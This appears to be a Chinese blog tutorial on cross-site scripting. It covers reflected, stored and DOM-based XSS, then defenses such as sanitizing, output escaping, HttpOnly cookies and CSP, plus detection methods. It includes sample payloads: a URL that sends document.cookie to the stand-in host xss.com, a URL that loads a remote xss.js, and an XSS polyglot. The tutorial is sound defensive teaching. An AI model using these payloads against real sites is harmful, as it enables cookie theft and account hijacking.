XSS

XSS


安全 xss 前端安全

跨站脚本攻击(Cross Site Script),本来缩写是 CSS, 但是为了和层叠样式表(Cascading Style Sheet, CSS)有所区分,所以叫做 XSS

XSS 攻击,通常是指攻击者通过 HTML 注入 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,对用户的浏览器进行控制或者获取用户的敏感信息(Cookie, SessionID 等)的一种攻击方式。

页面被注入了恶意 JavaScript 脚本,浏览器无法判断区分这些脚本是被恶意注入的,还是正常的页面内容,所以恶意注入 Javascript 脚本也拥有了所有的脚本权限。如果页面被注入了恶意 JavaScript 脚本,它可以做哪些事情呢?

  1. 可以窃取 cookie 信息。恶意 JavaScript 可以通过 document.cookie 获取 cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的cookie信息之后,就可以在其他电脑上模拟用户的登陆,然后进行转账操作。
  2. 可以监听用户行为。恶意 JavaScript 可以使用 addEventListener 接口来监听键盘事件,比如可以获取用户输入的银行卡等信息,又可以做很多违法的事情。
  3. 可以修改 DOM。比如伪造假的登陆窗口,用来欺骗用户输入用户名和密码等信息。
  4. 可以在页面内生成浮窗广告,这些广告会严重影响用户体验。

XSS 攻击可以分为三类:反射型,存储型,基于 DOM 型(DOM based XSS)

1.反射型

反射型 XSS 是一种非持久型 xss 攻击,依赖于服务器对恶意请求的反射,仅对当次的页面访问产生影响。该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。

常见于通过 URL 传递参数的功能,如网站搜索、跳转等场景。

其典型攻击步骤是:

  1. 攻击者构造出包含恶意代码的特殊的 URL
  2. 用户登陆后,访问带有恶意代码的 URL
  3. 服务端取出 URL 上的恶意代码,拼接在 HTML 中返回浏览器
  4. 用户浏览器收到响应后解析执行混入其中的恶意代码
  5. 窃取敏感信息/冒充用户行为,完成 XSS 攻击

例如,在某网站 URL 上有 keyword 参数,表示搜索的关键字,例如:

https://www.xiejunyi.com/search?keyword=xxx

表示 xxx 作为关键字搜索,后台在模版中直接插入 xxx 拼接 html,然后返给浏览器,打开后会将这串字符显示在页面某个位置上。

如果没有做处理,那么我们就可以在 keyword 后面插入一些恶意代码,如:

https://www.xiejunyi.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

接下来引导用户去点击这个链接,比如将恶意链接通过邮件、评论等方式直接发送给受信任用户,用户打开后,就会执行

<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

而把自己本地的 cookie 发送到 http://xss.com/ 上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。

2.存储型

存储型 XSS 是一种持久型 xss,攻击者的数据会存储在服务端,攻击行为将伴随着攻击数据一直存在。

其典型攻击步骤是:

  1. 攻击者将恶意代码提交到目标网站的数据库中
  2. 用户登陆后,访问相关页面 URL
  3. 服务端从数据库中取出恶意代码,拼接在 HTML 中返回浏览器
  4. 用户浏览器收到响应后解析执行混入其中的恶意代码
  5. 窃取敏感信息/冒充用户行为,完成 XSS 攻击

比较常见的一个场景就是,攻击者在社区或论坛写下一篇包含恶意 JavaScript 代码的博客文章或评论,文章或评论发表后,所有访问该博客文章或评论的用户,都会在他们的浏览器中执行这段恶意的 JavaScript 代码,比如:

66666
<script>
// 这里做一些攻击操作
alert('XSS')
</script>

这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,后台从数据库查出该评论的数据详情,然后在模版中直接插入,拼接 html 返给浏览器,就会弹出弹窗。

3.基于 DOM 或本地 XSS(DOM-based or local XSS)

DOM 型 XSS 攻击,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。 页面 JS 获取数据后不做甄别,直接操作 DOM。一般见于从 URL、cookie、LocalStorage 中取内容的场景。

基于 DOM 攻击大致需要经历以下几个步骤

  1. 攻击者构造出特殊的 URL,其中包含恶意代码
  2. 用户打开带有恶意代码的 URL
  3. 用户浏览器接受到响应后执行解析,前端 JavaScript 取出 URL 中的恶意代码并执行
  4. 恶意代码窃取用户数据并发送到攻击者的网站,冒充用户行为,调用目标网站接口执行攻击者指定的操作。

亦或者是 黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。

与反射型 XSS 不同的就是:DOM 型 XSS 不需要通过服务端。

例如,在某网站 URL 上有 title 参数,表示文章的标题,例如:

https://www.xiejunyi.com/search?title=标题1

前端代码如下:

<script>
    // 获取url中title的数据,放入html中
    function getTitle() {
        var search = window.location.search
        var r = new RegExp("(\\?|#|&)"+"title"+"=([^&#]*)(&|#|$)")
        var title = decodeURI(r.exec(search)?r.exec(search)[2]:'') // 获取title对应的值
        document.getElementById('title').innerHTML = title
    }
    getTitle()
</script>

整个取出数据和处理数据都是由前端完成。正常情况下会显示正确的值,但是如果我把 url 改成

https://www.xiejunyi.com?title=%3Cscript%20src=%22http://xss.com/xss.js%22%3E%3C/script%3E

页面就会加载http://xss.com/xss.js这个 js,包含获取 cookie 等恶意代码。

XSS 防御

针对反射和存储型 XSS

存储型和反射型 XSS 都是在后端取出恶意代码后,插入到响应 HTML 里的,预防这种漏洞主要是关注后端的处理。

1. 后端设置白名单,净化数据

后端对于保存/输出的数据要进行过滤和转义,过滤的内容:比如 location、onclick、onerror、onload、onmouseover 、 script 、href、 eval、setTimeout、setInterval 等,常见框架:bluemonday,jsoup 等

// jsoup官网案例
String unsafe =  "<p><a href='http://example.com/' onclick='stealCookies()'>Link</a></p>";
String safe = Jsoup.clean(unsafe, Whitelist.basic());
// now: <p><a href="http://example.com/" >Link</a></p>

2. 避免拼接 HTML,采用纯前端渲染

浏览器先加载一个静态 HTML,后续通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。纯前端渲染还需注意避免 DOM 型 XSS 漏洞。

针对 DOM 型 XSS

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

1. 谨慎对待展示数据

谨慎使用.innerHTML、.outerHTML、document.write() ,不要把不可信的数据作为 HTML 插到页面上。 DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,< a> 标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行,很容易产生安全隐患,谨慎处理传递给这些 API 的字符串。

2. 数据充分转义,过滤恶意代码

需要根据具体场景使用不同的转义规则,前端插件 xss.jsDOMPurify

放置位置例子采取的编码编码格式
HTML 标签之间
不可信数据
HTML Entity 编码& –> & ; < –> < ;> –> > ;” –> ”‘ –> ’ ;/ –> / ;​
HTML 标签的属性<input type=”text”value=” 不可信数据 ” />HTML Attribute 编码&#xHH
JavaScriptJavaScript 编码\xHH
CSS<div style=” width: 不可信数据 ” > … </ div>CSS 编码\HH
URL 参数中<a href=”/page?p= 不可信数据 ” >…< /a>URL 编码%HH

编码规则:除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的 ASCII 码小于 256。编码后输出的格式为以上编码格式 (以 ​&#x​、​\x​ 、​\​、​%​ 开头,HH 则是指该字符对应的十六进制数字)

3. 使用插值表达式

采用 vue/react/angular 等技术栈时,使用插值表达式,避免使用v-html。因为template转成render function的过程中,会把插值表达式作为Text文本内容进行渲染。在前端 render 阶段避免 ​innerHTML​、​outerHTML​ 的 XSS 隐患。 比如:

<div class="a"><span>{{item}}</span></div>

最终生成的代码如下:

"with(this){return _c('div',{staticClass:"a"},[_c('span',[_v(_s(item))])])}"

其中_ccreateElement 简写,即 render 函数,_vcreateTextVNode 的简写,创建文本节点,_stoString 简写。

这里顺便说一下 v-textv-html的主要区别: v-text 实际上是改变了元素的textContent属性,而v-html改变的元素的innerHtml 属性,所以v-html可以渲染出html元素,也就可能会导致XSS攻击。

其他措施

由于很多 XSS 攻击都是来盗用Cookie的,因此可以通过使用HttpOnly属性来防止直接通过 document.cookie 来获取 cookie

一个 Cookie 的使用过程如下:

  1. 浏览器向服务器发起请求,这时候没有 Cookie
  2. 服务器返回时设置 Set-Cookie 头,向客户端浏览器写入 Cookie
  3. 在该 Cookie 到期前,浏览器访问该域下的所有页面,都将发送该 Cookie

HttpOnly是在 Set-Cookie时标记的:

通常服务器可以将某些 Cookie 设置为 HttpOnly 标志,HttpOnly 是服务器通过 HTTP 响应头来设置的。

const login = (ctx) => {
  // 简单设置一个cookie
  ctx.cookies.set("cid", "hello world", {
    domain: "localhost", // 写cookie所在的域名
    path: "/home", // 写cookie所在的路径
    maxAge: 10 * 60 * 1000, // cookie有效时长
    expires: new Date("2022-10-30"), // cookie失效时间
    httpOnly: true, // 是否只用于http请求中获取
    overwrite: false, // 是否允许重写
  });
};

需要注意的一点是:HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 Cookie 劫持攻击。

2. 设置 CSP(Content Security Policy)

CSP 的实质就是设置浏览器白名单,告诉浏览器哪些外部资源可以加载和执行,自动禁止外部注入恶意脚本。 CSP 可以通过两种方式来开启 :

1. 设置 html 的 meta 标签的方式

<meta
  http-equiv="Content-Security-Policy"
  content="script-src 'self' *.xiejunyi.com ; style-src 'self' ;"
/>

2. 设置 HTTP Header 中的 Content-Security-Policy

Content-Security-Policy: script-src 'self' *.xiejunyi.com ; style-src 'self' ;

上述代码描述的 CSP 规则是 js 脚本 只能来自当前域名和xiejunyi.com二级域名下,css 只能来自当前域名 。

CSP 可以限制加载资源的类型:

类型说明
​script-src​外部脚本
​style-src​样式表
​img-src​​图像
​media-src​​媒体文件(音频和视频)
​object-src​​插件(比如 Flash)
​child-src​​框架
​frame-ancestors​​嵌入的外部资源(比如< frame>、< iframe>、< embed>和< applet>)
​connect-src​​HTTP 连接(通过 XHR、WebSockets、EventSource 等)
​worker-src​​worker 脚本
​manifest-src​​manifest 文件
​default-src​​用来设置上面各个选项的默认值

同时也可设置资源的限制规则:

| 规则 | 说明 | | ---------------- | ------------------------------------------------------------------------------------------- | -------------------------------- | | 主机名 | ​example.org​,​https://example.com:443​ | | 路径名 | example.org/resources/js/ | | 通配符 | .​​example.org​,​://*.​​example.com​​:*​(表示任意协议、任意子域名、任意端口) | | 协议名 | https:​、​data:​ | | ‘self’​ | 当前域名,需要加引号 | | ​ | ‘none’​ | 禁止加载任何外部资源,需要加引号 | | ‘unsafe-inline’​ | 允许执行页面内嵌的<​script>​ 标签和事件监听函数 | | ‘unsafe-eval’​ | 允许将字符串当作代码执行,比如使用 ​eval​、​setTimeout​、​setInterval​ 和 ​Function​ 等函数 |

3. 输入内容长度、类型的控制

对于不受信任的输入,都应该限定一个合理的长度,并且对输入内容的合法性进行校验(例如输入 email 的文本框只允许输入格式正确的 email,输入手机号码的文本框只允许填入数字且格式需要正确)。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

4.验证码,防止脚本冒充用户提交危险操作

如何检测

目前主要 2 种方式检测项目的 XSS 漏洞:

1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞

Unleashing an Ultimate XSS Polyglot一文中,有这么一个字符串:

jaVasCript: /*-/*`/*\`/*'/*"/**/ /* */ oNcliCk = alert(); //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、跳转链接、内联 JavaScript 字符串等多种上下文中的 XSS 漏洞,也能检测 ​eval()​、​setTimeout()​、​setInterval()​、​Function()​、​innerHTML​、​document.write()​ 等 DOM 型 XSS 漏洞。只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

2. 使用扫描工具自动检测 XSS 漏洞(BeEF、w3af 、 noXss 等)

大部分扫描工具是利用动态检测思想:寻找目标应用程序中所有可能出现漏洞的地方,包括表单中的输入框、富文本、密码等,然后构造特殊攻击字符串作为输入,模拟触发事件向服务器提交请求,然后获取服务器的 HTTP 相应,并在其中寻找之前构造的字符串,如果可以找到,说明服务器网页没有对输入过滤,也就是存在 XSS 漏洞。

© 2025 Niko Xie